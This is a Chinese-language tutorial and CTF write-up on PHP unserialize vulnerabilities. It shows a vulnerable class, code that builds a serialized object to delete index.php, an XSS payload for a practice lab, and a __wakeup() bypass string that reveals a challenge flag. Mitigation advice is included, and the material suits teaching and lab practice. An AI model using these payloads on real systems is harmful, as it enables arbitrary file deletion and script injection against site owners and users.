漏洞原理
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()
的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct
被调用时,日志文件将会被删除:
//logdata.php
<?php
class logfile
{
//log文件名
public $filename = 'error.log';
//一些用于储存日志的代码
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 删除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
调用这个类:
<?php
include 'logdata.php'
class User
{
//类数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>
代码$usr = unserialize($_GET['usr_serialized']);
中的$_GET[‘usr_serialized’]
是可控的,那么可以构造输入,删除任意文件。
如构造输入删除目录下的index.php文件:
<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>
上面展示了由于输入可控造成的__destruct
函数删除任意文件,其实问题也可能存在于__wakeup
、__sleep
、__toString
等其他magic函数。比如,某用户类定义了一个__toString
,为了让应用程序能够将类作为一个字符串输出(echo $object
),而且其他类也可能定义了一个类允许__toString
读取某个文件。
例如,皮卡丘靶场PHP反序列化漏洞
$html=";
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>错误输出</p>";
}else{
$html.="<p>{$unser->test)</p>";
}
为了执行<script>alert('xss')</script>
,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知识点:
unserialize
漏洞依赖条件:
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct()
)、析构函数(__destruct()
)、__wakeup()
函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值
防范方法:
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染
CTF例题
PHP反序列化绕过__wakeup()
打开网址后的代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
已知在使用 unserialize()
反序列化时会先调用 __wakeup()
函数,
而本题的关键就是如何 绕过 __wakeup()
函数,就是 在反序列化的时候不调用它
当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
代码中的__wakeup()
方法如果使用就是和unserialize()
反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。
我们利用php中的new运算符,实例化类xctf。
new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a();
相当于定义了一个基于a类的对象,这时候 $c->i
就是0
构造序列化的代码在编辑器内执行:
<?php
class xctf{
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//题目少了一个},这里补上
$a=new xctf();
echo(serialize($a));
?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O
:表示序列化的是对象<length>
:表示序列化的类名称长度<class name>
:表示序列化的类的名称<n>
:表示被序列化的对象的属性个数<field name 1>
:属性名<field value 1>
:属性值
所以要修改属性值<n>
,既把1改为2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中输入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}